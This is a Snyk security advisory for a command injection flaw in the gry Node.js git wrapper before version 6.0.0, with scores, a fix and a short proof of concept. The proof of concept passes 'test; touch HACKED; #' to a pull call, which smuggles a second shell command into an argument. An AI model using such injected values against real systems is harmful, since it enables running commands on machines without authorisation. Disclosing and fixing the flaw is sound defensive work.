Command Injection Affecting gry package, versions <6.0.0


0.0
high

Snyk CVSS

    Attack Complexity Low
    Scope Changed

    Threat Intelligence

    Exploit Maturity Proof of concept
    EPSS 0.05% (14th percentile)
Expand this section
NVD
8 high

Do your applications use this vulnerable package?

In a few clicks we can analyze your entire application and see what components are vulnerable in your application, and suggest you quick fixes.

Test your applications
  • Snyk ID SNYK-JS-GRY-566987
  • published 17 Apr 2020
  • disclosed 17 Apr 2020
  • credit Mik317

How to fix?

Upgrade gry to version 6.0.0 or higher.

Overview

gry is a minimalist NodeJS wrapper for the git commands. gry stands for the Git Repository.

Affected versions of this package are vulnerable to Command Injection in lib/index.js and example.js

PoC

// poc.js
const Repo = require("gry");
var myRepo = new Repo(".");
myRepo.pull('test; touch HACKED; #', function(){console.log('Finished!')})